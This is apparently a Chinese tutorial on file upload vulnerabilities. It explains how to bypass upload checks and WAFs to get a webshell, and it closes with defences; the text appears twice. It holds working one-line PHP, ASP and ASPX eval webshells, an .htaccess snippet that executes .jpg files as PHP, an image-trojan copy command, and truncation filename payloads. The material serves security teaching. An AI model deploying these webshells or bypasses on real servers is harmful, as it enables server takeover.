通过文件上传进行Getshell的不同骚姿势
字数 2205 2025-08-09 18:44:03

文件上传漏洞Getshell技术全面解析

0x01 文件上传漏洞概述

文件上传漏洞是指用户上传可执行脚本文件并通过此文件获得执行服务器端命令的能力。常见场景是Web服务器允许用户上传图片或文本文件,而用户绕过上传机制上传恶意代码并执行从而控制服务器。

WebShell(网页木马文件)是最常见的利用方式,根据开发语言分为:

  • ASP木马
  • PHP木马
  • JSP木马等

这类木马利用脚本语言中的系统命令执行、文件读写等功能,一旦上传并被解析,攻击者即可控制服务器。

0x02 上传检测流程

文件上传通常通过POST请求发送至Web服务器,检测环节包括:

客户端检测

  • JavaScript校验(通常只校验文件扩展名)

服务端检测

  1. 文件头content-type字段校验(如image/gif)
  2. 文件内容头校验(如GIF89a)
  3. 目录路径检测
  4. 文件扩展名检测
    • 后缀名黑名单校验
    • 后缀名白名单校验
    • 自定义正则校验
  5. WAF设备校验

0x03 客户端校验绕过

检测方式:在浏览加载文件但未点击上传时弹出对话框提示允许的文件类型,且无流量经过代理。

绕过方法

  1. 审查元素修改JavaScript检测函数
  2. 将恶意文件改为允许类型(如dama.asp→dama.jpg),用Burp抓包后改回
  3. 上传webshell.jpg.jsp(前端可能从前开始检查)

具体操作

  1. 上传一句话木马1.php改为1.jpg
  2. 使用Burp抓包修改
  3. 连接木马:http://127.0.0.1/upload/upload/1.php POST:v=phpinfo();

0x04 服务端检测绕过

MIME类型检测绕过

检测代码示例

if($_FILES['file']['type'] != "image/gif") {
    echo "Sorry, we only allow uploading GIF images";
    exit;
}

绕过方法
用Burp修改Content-Type为允许类型(如image/jpeg)

目录路径检测绕过

修改上传数据包中的path参数:

  • 改为"upfile.asp/"
  • 或"upfile/1.asp/"
  • 或"upfile/1.asp;"

文件扩展名检测绕过

黑名单绕过

黑名单通常包含:html|htm|php|php2|hph3|php4|php5|asp|aspx|ascx|jsp|cfm|cfc|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh等

绕过方法

  1. 使用黑名单未包含的扩展名(如PHP3、PHP4、PHP5、PH、CER、CDX、ASA)
  2. IIS默认支持解析.asp|.cdx|.asa|.cer等

白名单绕过

仅允许特定类型如jpg|gif|doc|pdf。

绕过方法
在满足要求的文件中插入木马语句

文件内容检测绕过

文件幻数检测

常见文件头:

  • JPG:FF D8 FF E0 00 10 4A 46 49 46
  • GIF:47 49 46 38 39 61 (GIF89a)
  • PNG:89 50 4E 47

绕过方法:在文件幻数后添加木马

文件相关信息检测

检测图片大小、尺寸等。

绕过方法:伪造文件头后添加内容增大文件

文件加载检测

包括图像渲染测试和二次渲染。

绕过方法

  1. 对渲染测试:代码注入
  2. 对二次渲染:攻击文件加载器

条件竞争绕过

场景:服务器先保存文件再检查删除

绕过方法:在删除前快速访问webshell

0x05 WAF设备校验绕过

  1. 大小上限绕过:构造大文件木马,前面填充垃圾内容
  2. filename参数绕过
    • 多加一个filename
    • 将filename放在非常规位置
  3. 请求方法绕过:修改请求头方法(如GET→POST)
  4. 利用WAF自身缺陷
  5. NTFS ADS特性:利用NTFS交换数据流
  6. 文件重命名绕过:构造包含多个点、符号的文件名

0x06 其他绕过技巧

  1. 文件名大小写绕过:如Asp、PhP
  2. 双写绕过:如pphphp
  3. 特殊文件名
    • test.asp.
    • test.asp(空格)
    • test.php:1.jpg
    • test.php::$DATA
  4. 截断绕过
    • %00截断:如dama.php%00.jpg
    • 冒号截断:如1.php:1.jpg
  5. .htaccess文件绕过
    <FilesMatch "a.jpg">
      SetHandler application/x-httpd-php
    </FilesMatch>
    
    AddType application/x-httpd-php .jpg
    
  6. 双文件上传:第一个正常文件,第二个webshell
  7. 解析漏洞利用
    • IIS5.x-6.x:/xx.php/xx.jpg 或 xx.php;.jpg
    • Apache:从后解析,如1.php.7z
    • Nginx:如/1.jpg/1.php 或 1.jpg%00.php
    • IIS7.5:类似Nginx

0x07 木马文件制作

一句话木马示例

  • PHP: <?php @eval($_POST['v']);?>
  • ASP: <% eval request("v")%>
  • ASPX: <%@ Page Language="Jscript"%><%eval(Request.Item["v"],"unsafe");%>

图片木马制作

  1. 使用工具(如edjpgcom)
  2. 命令行:copy a.jpg/b + 1.php/a b.php

0x08 防御措施

  1. 服务端校验扩展名和文件头与白名单对比
  2. 不传递目录/文件路径,使用预设路径索引
  3. 对文件随机重命名
  4. 上传目录禁止执行权限
  5. 将文件保存在内容服务器或数据库
  6. 保持Web服务器更新
  7. 减少服务器其他漏洞

通过全面理解这些技术原理和防御方法,可以有效提升Web应用的文件上传安全性。

文件上传漏洞Getshell技术全面解析 0x01 文件上传漏洞概述 文件上传漏洞是指用户上传可执行脚本文件并通过此文件获得执行服务器端命令的能力。常见场景是Web服务器允许用户上传图片或文本文件,而用户绕过上传机制上传恶意代码并执行从而控制服务器。 WebShell (网页木马文件)是最常见的利用方式,根据开发语言分为: ASP木马 PHP木马 JSP木马等 这类木马利用脚本语言中的系统命令执行、文件读写等功能,一旦上传并被解析,攻击者即可控制服务器。 0x02 上传检测流程 文件上传通常通过POST请求发送至Web服务器,检测环节包括: 客户端检测 JavaScript校验(通常只校验文件扩展名) 服务端检测 文件头content-type字段校验(如image/gif) 文件内容头校验(如GIF89a) 目录路径检测 文件扩展名检测 后缀名黑名单校验 后缀名白名单校验 自定义正则校验 WAF设备校验 0x03 客户端校验绕过 检测方式 :在浏览加载文件但未点击上传时弹出对话框提示允许的文件类型,且无流量经过代理。 绕过方法 : 审查元素修改JavaScript检测函数 将恶意文件改为允许类型(如dama.asp→dama.jpg),用Burp抓包后改回 上传webshell.jpg.jsp(前端可能从前开始检查) 具体操作 : 上传一句话木马1.php改为1.jpg 使用Burp抓包修改 连接木马: http://127.0.0.1/upload/upload/1.php POST: v=phpinfo(); 0x04 服务端检测绕过 MIME类型检测绕过 检测代码示例 : 绕过方法 : 用Burp修改Content-Type为允许类型(如image/jpeg) 目录路径检测绕过 修改上传数据包中的path参数: 改为"upfile.asp/" 或"upfile/1.asp/" 或"upfile/1.asp;" 文件扩展名检测绕过 黑名单绕过 黑名单通常包含:html|htm|php|php2|hph3|php4|php5|asp|aspx|ascx|jsp|cfm|cfc|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh等 绕过方法 : 使用黑名单未包含的扩展名(如PHP3、PHP4、PHP5、PH、CER、CDX、ASA) IIS默认支持解析.asp|.cdx|.asa|.cer等 白名单绕过 仅允许特定类型如jpg|gif|doc|pdf。 绕过方法 : 在满足要求的文件中插入木马语句 文件内容检测绕过 文件幻数检测 常见文件头: JPG:FF D8 FF E0 00 10 4A 46 49 46 GIF:47 49 46 38 39 61 (GIF89a) PNG:89 50 4E 47 绕过方法 :在文件幻数后添加木马 文件相关信息检测 检测图片大小、尺寸等。 绕过方法 :伪造文件头后添加内容增大文件 文件加载检测 包括图像渲染测试和二次渲染。 绕过方法 : 对渲染测试:代码注入 对二次渲染:攻击文件加载器 条件竞争绕过 场景 :服务器先保存文件再检查删除 绕过方法 :在删除前快速访问webshell 0x05 WAF设备校验绕过 大小上限绕过 :构造大文件木马,前面填充垃圾内容 filename参数绕过 : 多加一个filename 将filename放在非常规位置 请求方法绕过 :修改请求头方法(如GET→POST) 利用WAF自身缺陷 NTFS ADS特性 :利用NTFS交换数据流 文件重命名绕过 :构造包含多个点、符号的文件名 0x06 其他绕过技巧 文件名大小写绕过 :如Asp、PhP 双写绕过 :如pphphp 特殊文件名 : test.asp. test.asp(空格) test.php:1.jpg test.php::$DATA 截断绕过 : %00截断:如dama.php%00.jpg 冒号截断:如1.php:1.jpg .htaccess文件绕过 : 双文件上传 :第一个正常文件,第二个webshell 解析漏洞利用 : IIS5.x-6.x:/xx.php/xx.jpg 或 xx.php;.jpg Apache:从后解析,如1.php.7z Nginx:如/1.jpg/1.php 或 1.jpg%00.php IIS7.5:类似Nginx 0x07 木马文件制作 一句话木马示例 PHP: <?php @eval($_POST['v']);?> ASP: <% eval request("v")%> ASPX: <%@ Page Language="Jscript"%><%eval(Request.Item["v"],"unsafe");%> 图片木马制作 使用工具(如edjpgcom) 命令行: copy a.jpg/b + 1.php/a b.php 0x08 防御措施 服务端校验扩展名和文件头与白名单对比 不传递目录/文件路径,使用预设路径索引 对文件随机重命名 上传目录禁止执行权限 将文件保存在内容服务器或数据库 保持Web服务器更新 减少服务器其他漏洞 通过全面理解这些技术原理和防御方法,可以有效提升Web应用的文件上传安全性。